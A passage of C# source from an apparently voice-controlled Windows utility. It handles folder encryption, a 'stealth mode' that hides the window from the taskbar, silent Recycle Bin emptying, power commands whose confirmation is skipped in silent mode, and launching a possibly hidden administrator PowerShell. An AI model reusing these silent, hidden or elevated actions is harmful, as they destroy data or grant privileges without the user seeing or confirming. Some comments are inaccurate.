if (_isSilentModeActive)
{
Debug.WriteLine($"Attempted to {(encrypt ? "encrypt" : "decrypt")} files in silent mode. A dialog would normally appear."); // Log the action
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(currentForm, $"Cannot {(encrypt ? "encrypt" : "decrypt")} in silent mode without a pre-defined path.", "Silent Mode Limitation"); // Notify user of limitation
});
return;
}
using (var fbd = new FolderBrowserDialog())
{
DialogResult result = fbd.ShowDialog(currentForm); // Show folder browser dialog
if (result == DialogResult.OK && !string.IsNullOrWhiteSpace(fbd.SelectedPath))
{
if (encrypt)
{
_fileSecurityService.EncryptDirectory(fbd.SelectedPath, SearchOption.AllDirectories); // Encrypt the selected directory
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(currentForm, $"Directory '{fbd.SelectedPath}' encrypted.", "Encryption Complete"); // Notify user of completion
});
}
else
{
_fileSecurityService.DecryptDirectory(fbd.SelectedPath, SearchOption.AllDirectories); // Decrypt the selected directory
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(currentForm, $"Directory '{fbd.SelectedPath}' decrypted.", "Decryption Complete"); // Notify user of completion
});
}
}
}
}
private void ShowAvailableCommands(IWin32Window owner)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(owner, _availableCommandsMessage, "Bing Voice Search Commands", MessageBoxIcon.Information); // Notify user of available commands
});
}
private void ToggleStealthMode(bool? hide)
{
if (_mainForm == null || _pictureBox == null) return; // Check if main form and PictureBox are initialized
_mainForm.Invoke((MethodInvoker)delegate
{
bool currentVisibility = _mainForm.Visible; // Current visibility of the form
bool targetVisibility;
if (hide.HasValue)
{
targetVisibility = !hide.Value; // Set target visibility based on hide parameter
}
else
{
targetVisibility = !currentVisibility; // Toggle visibility if no parameter provided
}
if (targetVisibility)
{
_mainForm.Show(); // Show the form
_mainForm.Visible = true; // Set form visibility to true
_mainForm.ShowInTaskbar = true; // Show form in taskbar
_mainForm.WindowState = FormWindowState.Normal; // Set window state to normal
_mainForm.Invalidate(true); // Invalidate the form to refresh it
_mainForm.Update(); // Update the form
SetForegroundWindow(_mainForm.Handle); // Bring form to foreground
_pictureBox.Visible = true; // Make PictureBox visible
Debug.WriteLine("Stealth mode OFF (Form visible)."); // Log the action
}
else
{
_mainForm.Visible = false; // Hide the form
_mainForm.ShowInTaskbar = false; // Hide form from taskbar
_pictureBox.Visible = false; // Hide PictureBox
Debug.WriteLine("Stealth mode ON (Form hidden)."); // Log the action
}
});
}
private void SimulateMediaKey(byte keyCode)
{
keybd_event(keyCode, 0, 0, UIntPtr.Zero); // Simulate key press
keybd_event(keyCode, 0, KEYEVENTF_KEYUP, UIntPtr.Zero); // Simulate key release
}
private void EmptyRecycleBinSilently(IntPtr hwnd)
{
try
{
SHEmptyRecycleBin(hwnd, null, RecycleFlags.SHERB_NOCONFIRMATION | RecycleFlags.SHERB_NOPROGRESSUI | RecycleFlags.SHERB_NOSOUND); // Empty the recycling bin silently
Debug.WriteLine("Recycling bin emptied silently."); // Log the action
}
catch (Exception ex)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(_mainForm, $"Error emptying recycling bin: {ex.Message}", "Recycling Bin Error", MessageBoxIcon.Error); // Notify user of error
});
Debug.WriteLine($"Error emptying recycling bin: {ex.Message}"); // Log the error
}
}
private void ConfirmAndExecutePowerCommand(Form currentForm, string command, string args, string actionName)
{
if (currentForm.InvokeRequired)
{
currentForm.Invoke((MethodInvoker)delegate
{
ConfirmAndExecutePowerCommand(currentForm, command, args, actionName); // Ensure method is invoked on the correct thread
});
return;
}
if (_isSilentModeActive || MessageBox.Show(currentForm, $"Are you sure you want to {actionName} your computer?", $"Confirm {actionName}", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = command, // Command to execute (e.g., shutdown.exe)
Arguments = args, // Arguments for the command
CreateNoWindow = true, // Do not create a window
UseShellExecute = false // Use the default shell to execute the command
};
Process.Start(psi); // Start the process
Debug.WriteLine($"Attempted to {actionName} computer."); // Log the action
}
catch (Exception ex)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(_mainForm, $"Error {actionName} down: {ex.Message}", $"{actionName} Error", MessageBoxIcon.Error); // Notify user of error
});
Debug.WriteLine($"Error {actionName} down: {ex.Message}"); // Log the error
}
}
else
{
Debug.WriteLine($"User cancelled {actionName} command."); // Log the user's cancellation
}
}
private void OpenPowerShellAsAdmin(Form currentForm)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "powershell.exe", // PowerShell executable
Verb = "runas", // Run as administrator
UseShellExecute = true, // Use the default shell to execute the command
Arguments = "-NoExit -Command \"Write-Host 'PowerShell opened as Administrator.';\"", // Command to execute in PowerShell
CreateNoWindow = _isSilentModeActive, // Do not create a window if in silent mode
WindowStyle = _isSilentModeActive ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal // Set window style based on silent mode
};
Process.Start(psi); // Start the process
if (currentForm.InvokeRequired)
{
currentForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(currentForm, "PowerShell opened as administrator.", "PowerShell Status"); // Notify user of completion
});
}
else
{
LogOrNotify(currentForm, "PowerShell opened as administrator.", "PowerShell Status"); // Notify user of completion
}
}
catch (Exception ex)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(currentForm, $"Error opening PowerShell as administrator: {ex.Message}", "PowerShell Error", MessageBoxIcon.Error); // Notify user of error
});
Debug.WriteLine($"Error opening PowerShell as administrator: {ex.Message}"); // Log the error
}
}
private void LogOrNotify(IWin32Window owner, string message, string caption, MessageBoxIcon icon = MessageBoxIcon.Information)
{
if (owner is null)
{
throw new ArgumentNullException(nameof(owner)); // Throw exception if owner is null
}
if (string.IsNullOrEmpty(message))
{
throw new ArgumentException($"'{nameof(message)}' cannot be null or empty.", nameof(message)); // Throw exception if message is null or empty
}
if (string.IsNullOrEmpty(caption))
{
throw new ArgumentException($"'{nameof(caption)}' cannot be null or empty.", nameof(caption)); // Throw exception if caption is null or empty
}
Debug.WriteLine($"LogOrNotify: {caption} - {message}"); // Log the notification
// Use the icon parameter for the MessageBox.
MessageBox.Show(owner, message, caption, MessageBoxButtons.OK, icon); // Show the message box with the specified icon
}
#endregion
}
}